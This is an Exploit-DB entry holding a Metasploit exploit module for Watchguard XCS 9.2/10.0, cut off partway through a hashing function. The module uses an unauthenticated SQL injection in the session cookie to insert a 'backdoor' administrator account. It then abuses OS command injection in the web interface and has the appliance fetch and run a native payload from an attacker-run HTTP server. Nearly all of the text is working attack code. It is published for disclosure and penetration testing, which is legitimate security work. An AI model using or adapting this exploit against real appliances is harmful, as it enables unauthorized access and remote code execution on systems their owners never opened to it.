Exploit-DB #38346
Description: Watchguard XCS - Remote Command Execution (Metasploit)
Type: remote
Platform: bsd
Date: 2015-09-28
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Watchguard XCS Remote Command Execution',
      'Description'    => %q{
        This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
        appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
        remote attacker may insert a valid web user into the appliance database, and get access
        to the web interface. On the other hand, a vulnerability in the web interface allows the
        attacker to inject operating system commands as the 'nobody' user.
      },
      'Author'         =>
        [
          'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
        ],
      'Platform'       => 'bsd',
      'Arch'           => ARCH_X86_64,
      'Privileged'     => false,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          [ 'Watchguard XCS 9.2/10.0', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 29 2015'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
        OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
        Opt::RPORT(443)
      ],
      self.class
    )
  end

  def check
    #Check to see if the SQLi is present
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
      'cookie' => "sid=1'"
     })

     if res && res.body && res.body.include?('unterminated quoted string')
       return Exploit::CheckCode::Vulnerable
     end

     Exploit::CheckCode::Safe
  end


  def exploit
    # Get a valid session by logging in or exploiting SQLi to add user
    print_status('Getting a valid session...')
    @sid = get_session
    print_status('Successfully logged in')

    # Check if cmd injection works
    test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
    unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
      fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
    end

    # We have cmd exec, stand up an HTTP server and deliver the payload
    vprint_status('Getting ready to drop binary on appliance')

    @elf_sent = false
    # Generate payload
    @pl = generate_payload_exe

    if @pl.nil?
      fail_with(Failure::BadConfig, 'Please select a native bsd payload')
    end

    # Start the server and use primer to trigger fetching and running of the payload
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    end
  end

  def attempt_login(username, pwd_clear)
    #Attempts to login with the provided user credentials
    #Get the login page
    get_login_hash = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/login.spl')
    })

    unless get_login_hash && get_login_hash.body
      fail_with(Failure::Unreachable, 'Could not get login page.')
    end

    #Find the hash token needed to login
    login_hash = ''
    get_login_hash.body.each_line do |line|
      next if line !~ /name="hash" value="(.*)"/
      login_hash = $1
      break
    end

    sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
    if login_hash == '' || sid_cookie == ''
      fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
    end

    login_post = {
      'u' => "#{username}",
      'pwd' => "#{pwd_clear}",
      'hash' => login_hash,
      'login' => 'Login'
    }
    print_status('Attempting to login with provided credentials')
    login = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/login.spl'),
      'method' => 'POST',
      'encode_params' => false,
      'cookie' => "sid=#{sid_cookie}",
      'vars_post' => login_post,
      'vars_get' => {
        'f' => 'V'
      }
    })


    unless login && login.body && login.body.include?('<title>Loading...</title>')
      return nil
    end

    sid_cookie
  end

  def add_user(user_id, username, pwd_hash, pwd_clear)
    #Adds a user to the database using the unauthed SQLi
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
      'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
    })

    unless res && res.body
      fail_with(Failure::Unreachable, "Could not connect to host")
    end

    if res.body.include?('ERROR:  duplicate key value violates unique constraint')
      print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
    else
      fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
    end

    true
  end

  def generate_device_hash(cleartext_password)
    #Generates the specific hashes needed for the XC